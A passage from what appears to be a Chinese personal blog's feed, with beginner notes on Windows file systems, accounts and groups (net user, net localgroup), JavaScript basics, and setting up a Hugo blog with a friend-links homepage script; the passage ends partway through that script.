&lt;p&gt;但在 Windows 市场占绝对主导的现实下，日常通用场景里 NTFS 依然是综合表现更优的选择。&lt;/p&gt;
&lt;p&gt;FAT32 在大容量分区下无法将簇大小固定为 4K，小文件空间浪费严重，空间利用率和性能都远不如 NTFS。而兼顾 Windows 与 Mac 兼容性的  exFAT（也常被称作 FAT64），支持更大单文件和分区，还能手动指定簇大小，空间利用率与传输性能都比 FAT32 出色很多。&lt;/p&gt;
&lt;h2&gt;权限&lt;/h2&gt;
&lt;p&gt;随便找一个文件或文件夹&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;属性 - 安全&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-file-system-and-permissions/image-20260321153434736.webp&quot; alt=&quot;image-20260321153434736&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个便是权限管理页面，现在人手一台电脑，一般正常使用系统用不到，但是在服务器部署上面经常会有，一般是不同的服务在不同的用户，给同的文件权限。&lt;/p&gt;
</content:encoded></item><item><title>Windows账户与用户组</title><link>https://ivoinkwell.xyz/posts/system-basics/windows-accounts-and-groups/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/system-basics/windows-accounts-and-groups/</guid><pubDate>Sat, 21 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这个东西对于真正使用Windows的用户来说，可以说是必须掌握的，但是现在操作系统已经不像以前是一个工具，更多的转向娱乐与外观。现在系统的过渡动画，毛玻璃效果已经渐渐让我们遗忘其最初的作用。&lt;/p&gt;
&lt;h2&gt;账户&lt;/h2&gt;
&lt;p&gt;我会分为图形界面与命令界面的方式来写，Windows服务器有图形化界面的还是居多的。&lt;/p&gt;
&lt;h3&gt;命令行&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;查看所有用户&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net user
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;新建账户&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net user [username] [密码] /add
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;删除用户&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net user [username] /del
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;查看当前登录用户&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;whoami
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;图形界面&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;桌面此电脑右键&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-accounts-and-groups/image-20260321144210497.webp&quot; alt=&quot;image-20260321144210497&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;选择管理，弹出窗口&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-accounts-and-groups/image-20260321144246464.webp&quot; alt=&quot;image-20260321144246464&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;展开本地用户和组，点击用户&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-accounts-and-groups/image-20260321144324796.webp&quot; alt=&quot;image-20260321144324796&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这里即可添加与删除用户&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;用户组&lt;/h2&gt;
&lt;p&gt;用户组的用途相较于用户可能难以理解其存在的必要，我就用我家NAS进行举例。现在我有一个文件夹，我现在想要共享给家里面的家人看到，其他的人看不见，我不能今天爸爸注册可查看权限上加上爸爸，明天妈妈注册再加上妈妈。一个文件夹这样还算少的，如果10个，20个，你手动添加得累死，所以从其中找共同点——都是家人，那我专门建立一个用户组为家人，赋予其可以查看哪些文件夹的权限，再将爸爸，妈妈等人加入用户组，也就都可以看到。（ps：就算是权限继承性吧，其实本身也无关紧要）&lt;/p&gt;
&lt;h3&gt;命令行&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;查看所有用户&lt;/strong&gt;组&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net localgroup
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;新建账户&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net localgroup [localgroup name] /add
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;删除用户&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net user [localgroup name] /del
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;添加用户进组&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net localgroup [localgroup name] [username] /add
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;将用户从用户组移除&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net localgroup [localgroup name] [username] /del
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;图形化界面&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;根据上面步骤进入管理，在本地用户和组的菜单中找到组文件夹&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/system-basics/windows-accounts-and-groups/image-20260321145255009.webp&quot; alt=&quot;image-20260321145255009&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;即可进行添加删除等操作&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>网页与JavaScript</title><link>https://ivoinkwell.xyz/posts/web-frontend/javascript-and-the-web/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/javascript-and-the-web/</guid><pubDate>Sat, 21 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;之前一直在写前端的页面，包括一些小程序，似乎很多的文字相关的内容并不是直接放在HTML的框架里面的，所以学习JavaScript其实是很有必要的一件事情，但是我一直是非常排斥与不理解Python，Java以及JavaScript这样面向对象的语言，一直没有去进行学习。但因为最近这段时间外部的不可抗因素的原因也必须要开始学习，就趁着这个机会去学一学JavaScript和JQuery框架。&lt;/p&gt;
&lt;h2&gt;在网页中加入JavaScript&lt;/h2&gt;
&lt;p&gt;其实和CSS是一样的，内嵌和外链两种形式都有，但是会多一个行内式，我估计不知道哪天会在我博客的Markdown文章中用一下，所以就是几乎不用。&lt;/p&gt;
&lt;h3&gt;行内式&lt;/h3&gt;
&lt;p&gt;没啥用，也就是Markdown博客会用到，项目里面不会用的，记不住后面直接搜索就行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;button onclick=&quot;alert(&apos;你点我啦！&apos;)&quot;&amp;gt;点我&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;内嵌式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
  // 内部脚本
  console.log(&quot;我是内部 JS&quot;);
  document.write(&quot;页面直接输出内容&quot;);
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;外链式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;main.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;依稀记得异步加载代码也是出现在这里的，后面有了再说吧！&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;输入与输出&lt;/h2&gt;
&lt;h3&gt;输入&lt;/h3&gt;
&lt;p&gt;在写C语言的时候输入输出也是第一个学的，类似于&lt;code&gt;printf()&lt;/code&gt;和&lt;code&gt;scanf()&lt;/code&gt;等函数都是经常用的。不过似乎JavaScript东西会更多一点，毕竟是浏览器窗口。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;document.write()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;也就是最基础的页面打印函数，后面可以接字符串与变量。&lt;/p&gt;
&lt;p&gt;变量：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr1 = &quot;apple&quot;;
document.write(arr1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;字符串：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;document.write(&quot;apple&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;alert()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;浏览器对话框弹出，提示效果会更明显一点，函数整体逻辑可以直接照搬&lt;code&gt;document.write()&lt;/code&gt;的了&lt;/p&gt;
&lt;p&gt;变量：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr1 = &quot;apple&quot;;
alert(arr1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;字符串：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alert(&quot;apple&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;console.log()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个我算是用的比较多的，之前写小程序，很多东西是否运行完成全部都是终端输出来辨别的，整体函数写法还是照搬之前的两个。&lt;/p&gt;
&lt;p&gt;变量：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var arr1 = &quot;apple&quot;;
console.log(arr1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;字符串：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;console.log(&quot;apple&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;输入&lt;/h3&gt;
&lt;p&gt;输入就相对简单很多，也就是弹出的弹窗。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;prompt()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个函数有两个参数，一个是提示输入语句，另一个就是输入默认值，示例如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;prompt(&quot;[提示输入语句]&quot;,&quot;[输入默认值]&quot;);
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>JavaScript变量与运算</title><link>https://ivoinkwell.xyz/posts/web-frontend/javascript-variables-and-operators/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/javascript-variables-and-operators/</guid><pubDate>Sat, 21 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;变量&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;var&lt;/code&gt;与&lt;code&gt;let&lt;/code&gt;的区别&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定义变量&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;声明一个变量例如以下两个方式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var number;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;let number;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;相同与不同&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;以前我也不知道，但是以前学习的语言，像是C会更注重底层的数据类型，但是这里不是，更注重的是作用位置。&lt;/p&gt;
&lt;p&gt;所以现在要明白两个概念：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;全局作用域&lt;/li&gt;
&lt;li&gt;块级作用域&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;按照书上观点&lt;code&gt;{}&lt;/code&gt;中的是块级作用域，我觉得麻烦，简单一点理解，如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;var&lt;/code&gt;：用于声明所有不管在哪里都要使用的变量&lt;/li&gt;
&lt;li&gt;&lt;code&gt;let&lt;/code&gt;：函数内暂时使用的变量使用其进行声明&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;数据类型&lt;/h3&gt;
&lt;p&gt;上面说过不注重数据类型，但是只是不会像C一样那么注意数据类型对于内存等硬件的占用去做最合理的数据类型分配，但是数据类型还是要注重的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;数据类型转换&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;isNaN()&lt;/code&gt;：判断是否是数值型&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Number()&lt;/code&gt;：转换为数值型&lt;/li&gt;
&lt;li&gt;&lt;code&gt;parseInt()&lt;/code&gt;：转换为整型&lt;/li&gt;
&lt;li&gt;&lt;code&gt;parseFloat()&lt;/code&gt;：转换为浮点型&lt;/li&gt;
&lt;li&gt;&lt;code&gt;String()&lt;/code&gt;：转换为字符型&lt;/li&gt;
&lt;li&gt;&lt;code&gt;toString()&lt;/code&gt;：转换为字符型，如果跟上参数，则转变为参数所对应的进制&lt;/li&gt;
&lt;li&gt;&lt;code&gt;typeof&lt;/code&gt;：检查数据类型关键字，写法：&lt;code&gt;console.log(typeof 123);&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;运算&lt;/h2&gt;
&lt;h3&gt;个人案例&lt;/h3&gt;
&lt;p&gt;我之前写过Python，也就理所当然了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var number1 = prompt(&quot;请输入第一个数字&quot;);
var number2 = prompt(&quot;请输入第二个数字&quot;);
document.write(&quot;结果是&quot; + number1 + number2);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我在两个弹窗中输入的数字分别是1和2。猜猜结果，输出的是&lt;code&gt;结果是12&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在JavaScript里面&lt;code&gt;+&lt;/code&gt;是连接，我算好直接放入不就行了？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var number1 = prompt(&quot;请输入第一个数字&quot;);
var number2 = prompt(&quot;请输入第二个数字&quot;);
var number3 = number1 + number2;
document.write(&quot;结果是&quot; + number3);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其实输出不变，输出的是&lt;code&gt;结果是12&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;也就是说，在JavaScript里面数据在做运算前最好是要用&lt;code&gt;Number()&lt;/code&gt;函数框一下的，避免出现加法这样的问题。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var number1 = prompt(&quot;请输入第一个数字&quot;);
var number2 = prompt(&quot;请输入第二个数字&quot;);
document.write(&quot;结果是&quot; + Number(number1) + Number(number2));
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;var number1 = prompt(&quot;请输入第一个数字&quot;);
var number2 = prompt(&quot;请输入第二个数字&quot;);
var number3 = Number(number1) + Number(number2);
document.write(&quot;结果是&quot; + number3);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;两种算法都没有错，但是要注意语法。不过其他计算方法可能就不需要，加上也是保险。&lt;/p&gt;
&lt;h3&gt;转义字符&lt;/h3&gt;
&lt;p&gt;这个小点在浏览器这种展示的地方容易栽，这个其实所有语言基本相同，就是有的地方要注意，比如输出&lt;code&gt;I&apos;m Lyle&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;document.write(&quot;I&apos;m Lyle&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;document.write(&quot;I\&apos;m Lyle&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这两个试一下就知道啥意思了。&lt;/p&gt;
&lt;hr /&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;转义符&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;换行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\t&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;制表符（Tab）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\\&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;输出一个反斜杠&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\&apos;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;单引号&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;双引号&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;退格&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\r&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;回车&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;这些基本上通用的。&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>Hugo博客搭建笔记</title><link>https://ivoinkwell.xyz/posts/specks/hugo-blog-setup/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/hugo-blog-setup/</guid><pubDate>Wed, 18 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;概述&lt;/h2&gt;
&lt;p&gt;之前我博客为了图省事一直使用的是&lt;code&gt;Publii&lt;/code&gt;进行搭建的，但是后来出现了很严重的性能以及备份的问题。&lt;code&gt;Publii&lt;/code&gt;的逻辑是需要在本地生成完整的静态博客内容，随后使用&lt;code&gt;git&lt;/code&gt;进行提交，但是这样就存在两个非常重要的问题，备份与同步——我们一般都是一个台式机和一个笔记本的组合，两台机器想要同步之前更改的内容就必须要有同步，虽然我在家使用&lt;code&gt;NAS+Syncthing&lt;/code&gt;的方案可以解决同步的问题，但是外网终归以来家中主路由的稳定性，之前同步就会经常性的在外面掉线，同步一些其他资料其实没有什么问题，但是博客的小文件多，需要很强的稳定性，所以我决定换一个博客框架吗，在搭建社团博客的时候使用&lt;code&gt;Hexo&lt;/code&gt;发现&lt;code&gt;Node.js&lt;/code&gt;安装的十分繁琐，使用简单的单文件的&lt;code&gt;Hugo&lt;/code&gt;对于我这种不喜欢残留的人来说或许才是最好的方案。在使用&lt;code&gt;Hugo&lt;/code&gt;之后发现了不少很喜欢的地方，也踩了不少的坑，我也会一一说明。&lt;/p&gt;
&lt;h2&gt;博客搭建预览与主题安装&lt;/h2&gt;
&lt;h3&gt;搭建&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;准备文件：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/gohugoio/hugo/releases&quot;&gt;Hugo二进制文件&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;搭建新网站&lt;/h4&gt;
&lt;p&gt;解压出&lt;code&gt;hugo.exe&lt;/code&gt;文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/hugo-blog-setup/image-20260318174814358.webp&quot; alt=&quot;image-20260318174814358&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开命令行窗口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/hugo-blog-setup/image-20260318174925151.webp&quot; alt=&quot;image-20260318174925151&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hugo new site [你网站的名字]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即可看见网站的目录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/hugo-blog-setup/image-20260318175107061.webp&quot; alt=&quot;image-20260318175107061&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/hugo-blog-setup/image-20260318175133830.webp&quot; alt=&quot;image-20260318175133830&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;安装主题&lt;/h4&gt;
&lt;p&gt;我用的是&lt;a href=&quot;https://blowfish.page/&quot;&gt;&lt;code&gt;Blowfish&lt;/code&gt;主题&lt;/a&gt;，如果你是用其他主题安装是一样的方法，但是配置文件是不一样的，需要去官方的GitHub项目说明中查看。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;下载主题&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;打开 &lt;strong&gt;&lt;a href=&quot;https://themes.gohugo.io/&quot;&gt;Hugo官方主题商店&lt;/a&gt;&lt;/strong&gt; 选择自己喜欢的主题，去到官方GitHub项目页面下载即可。&lt;a href=&quot;https://github.com/nunocoracao/blowfish&quot;&gt;&lt;code&gt;Blowfish&lt;/code&gt;主题点我下载&lt;/a&gt;即可。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如此方法下载：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/hugo-blog-setup/image-20260318175915991.webp&quot; alt=&quot;image-20260318175915991&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载后解压，重命名为&lt;code&gt;blowfish&lt;/code&gt;并放置在博客的&lt;code&gt;themes&lt;/code&gt;目录下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/hugo-blog-setup/image-20260318180052330.webp&quot; alt=&quot;image-20260318180052330&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入&lt;code&gt;blowfish&lt;/code&gt;目录将&lt;code&gt;exampleSite&lt;/code&gt;目录拷贝至博客根目录即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/hugo-blog-setup/image-20260318180219708.webp&quot; alt=&quot;image-20260318180219708&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/hugo-blog-setup/image-20260318180231588.webp&quot; alt=&quot;image-20260318180231588&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;预览&lt;/h4&gt;
&lt;p&gt;将&lt;code&gt;hugo.exe&lt;/code&gt;二进制文件拷贝至博客根目录，打开&lt;code&gt;cmd&lt;/code&gt;窗口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/hugo-blog-setup/image-20260318180418109.webp&quot; alt=&quot;image-20260318180418109&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hugo server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即可在&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;localhost:1313
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看。&lt;/p&gt;
&lt;h2&gt;优点与踩坑&lt;/h2&gt;
&lt;h3&gt;优点&lt;/h3&gt;
&lt;p&gt;对于我来说，这算是找到了一开始搭建博客的初衷，很多地方能够直接自己自定义。还有一个是性能方面，没办法，这个必须要有对比才能体现，我也不想证明什么。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主页&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我的主页上面我做了&lt;strong&gt;友链&lt;/strong&gt;这么个东西，这个是几乎很多博客不会做的，是的，这个就是我和AI一起搓出来的，不过最后明暗主题切换我确实不会，也只好交给AI去做了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这便是我的&lt;code&gt;_index.zh-cn.md&lt;/code&gt;文件，做个参考吧&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title: &quot;欢迎来到 Blowfish! :tada:&quot;
description: &quot;此页面是使用 Hugo 的 Blowfish 主题搭建的&quot;
---

&amp;lt;!-- &amp;lt;div id=&quot;typing-text&quot; style=&quot;background-color: transparent; min-height: 1.5em; font-size: 18px; font-weight: bold; text-align: left;&quot;&amp;gt;&amp;lt;/div&amp;gt;

&amp;lt;script&amp;gt;
document.addEventListener(&apos;DOMContentLoaded&apos;, function () {
  const message = &quot;致我们：\n愿我们都能在各自感兴趣的事情上找到更好的自己！\n\n尘.&quot;;
  const element = document.getElementById(&quot;typing-text&quot;);
  let index = 0;

  // 光标
  const cursor = document.createElement(&apos;span&apos;);
  cursor.classList.add(&apos;typing-cursor&apos;);
  cursor.textContent = &apos;|&apos;;
  element.appendChild(cursor);

  // 光标样式
  const style = document.createElement(&apos;style&apos;);
  style.textContent = `
    .typing-cursor {
      opacity: 1;
      animation: blink 1s infinite;
      margin-left: 2px;
    }
    @keyframes blink {
      0%, 100% { opacity: 1; }
      50% { opacity: 0; }
    }
  `;
  document.head.appendChild(style);

  function typeWriter() {
    if (index &amp;lt; message.length) {
      const currentChar = message.charAt(index);

      if (currentChar === &apos;\n&apos;) {
        const br = document.createElement(&apos;br&apos;);
        element.insertBefore(br, cursor);
      } else {
        const char = document.createTextNode(currentChar);
        element.insertBefore(char, cursor);
      }

      index++;
      setTimeout(typeWriter, 150);
    } else {
      // 结束后隐藏光标
      cursor.style.animation = &apos;none&apos;;
      cursor.style.opacity = &apos;0&apos;;
    }
  }

  setTimeout(typeWriter, 500);
});
&amp;lt;/script&amp;gt; --&amp;gt;

&amp;lt;div id=&quot;friends-links&quot; style=&quot;margin: 20px 0; display: grid; grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); gap: 16px;&quot;&amp;gt;&amp;lt;/div&amp;gt;

&amp;lt;script&amp;gt;
document.addEventListener(&apos;DOMContentLoaded&apos;, function () {
  // 友链数据（自己替换 logo 地址）
  const links = [
    { name: &quot;云泽の小屋&quot;, desc: &quot;最好的朋友，他的博客是世界上最详细网络安全实践笔记！&quot;, url: &quot;https://zeyun.dpdns.org&quot;, logo: &quot;https://zeyun.dpdns.org/media/website/Happy_Mac.png&quot; },
    { name: &quot;猪老师在线&quot;, desc: &quot;最有趣的老师，网络安全没人比他讲的更好！&quot;, url: &quot;https://www.pigteacher.com&quot;, logo: &quot;https://www.pigteacher.com/wp-content/uploads/2025/01/cropped-1-128x128.jpg&quot; },
    // { name: &quot;设计工坊&quot;, desc: &quot;美学与创意聚集地&quot;, url: &quot;#&quot;, logo: &quot;https://via.placeholder.com/32&quot; },
    // { name: &quot;旅行日记&quot;, desc: &quot;走遍山川湖海&quot;, url: &quot;#&quot;, logo: &quot;https://via.placeholder.com/32&quot; },
    // { name: &quot;阅读空间&quot;, desc: &quot;文字与思想的旅途&quot;, url: &quot;#&quot;, logo: &quot;https://via.placeholder.com/32&quot; },
    // { name: &quot;摄影集&quot;, desc: &quot;定格每一刻温柔&quot;, url: &quot;#&quot;, logo: &quot;https://via.placeholder.com/32&quot; }
  ];

  const container = document.getElementById(&quot;friends-links&quot;);

  // 样式：完全保留你原来的！只加了最外层布局
  const style = document.createElement(&apos;style&apos;);
  style.textContent = `
    /* 浅色模式 */
    .friend-card {
      padding: 20px;
      background: rgba(255, 255, 255, 0.6);
      backdrop-filter: blur(12px);
      -webkit-backdrop-filter: blur(12px);
      border-radius: 10px;
      border: 1px solid rgba(0, 0, 0, 0.05);
      transition: 0.2s ease;
      text-decoration: none;
      color: #111827;
      /* 关键：图片 + 文字 横向排列 */
      display: flex;
      align-items: center;
      gap: 12px;
    }
    .friend-card:hover {
      background: rgba(255, 255, 255, 0.8);
    }

    /* 深色模式 */
    html.dark .friend-card,
    .dark .friend-card {
      background: rgba(30, 30, 32, 0.6);
      border: 1px solid rgba(255, 255, 255, 0.05);
      color: #f3f4f6;
    }
    html.dark .friend-card:hover,
    .dark .friend-card:hover {
      background: rgba(40, 40, 42, 0.75);
    }

    /* logo 样式 */
    .card-logo {
      width: 32px;
      height: 32px;
      border-radius: 6px;
      object-fit: cover;
      flex-shrink: 0;
    }

    /* 文字容器 */
    .card-text {
      flex: 1;
    }

    .friend-name {
      font-size: 16px;
      font-weight: 600;
      margin-bottom: 6px;
      color: inherit;
    }
    .friend-desc {
      font-size: 13px;
      line-height: 1.4;
      opacity: 0.85;
      color: inherit;
    }
  `;
  document.head.appendChild(style);

  // 生成卡片（只加logo，其余完全不变）
  links.forEach(item =&amp;gt; {
    const card = document.createElement(&apos;a&apos;);
    card.className = &quot;friend-card&quot;;
    card.href = item.url;
    card.target = &quot;_blank&quot;;
    card.rel = &quot;noopener noreferrer&quot;;

    card.innerHTML = `
      &amp;lt;!-- logo 在最左侧，文字整体在右侧 --&amp;gt;
      &amp;lt;img src=&quot;${item.logo}&quot; class=&quot;card-logo&quot;&amp;gt;
      &amp;lt;div class=&quot;card-text&quot;&amp;gt;
        &amp;lt;div class=&quot;friend-name&quot;&amp;gt;${item.name}&amp;lt;/div&amp;gt;
        &amp;lt;div class=&quot;friend-desc&quot;&amp;gt;${item.desc}&amp;lt;/div&amp;gt;
      &amp;lt;/div&amp;gt;
    `;
    container.appendChild(card);
  });

  // 监听主题切换
  const observer = new MutationObserver(() =&amp;gt; {
    document.querySelectorAll(&apos;.friend-card&apos;).forEach(c =&amp;gt; c.style.color = &apos;&apos;);
  });
  observer.observe(document.documentElement, { attributes: true, attributeFilter: [&apos;class&apos;] });
});
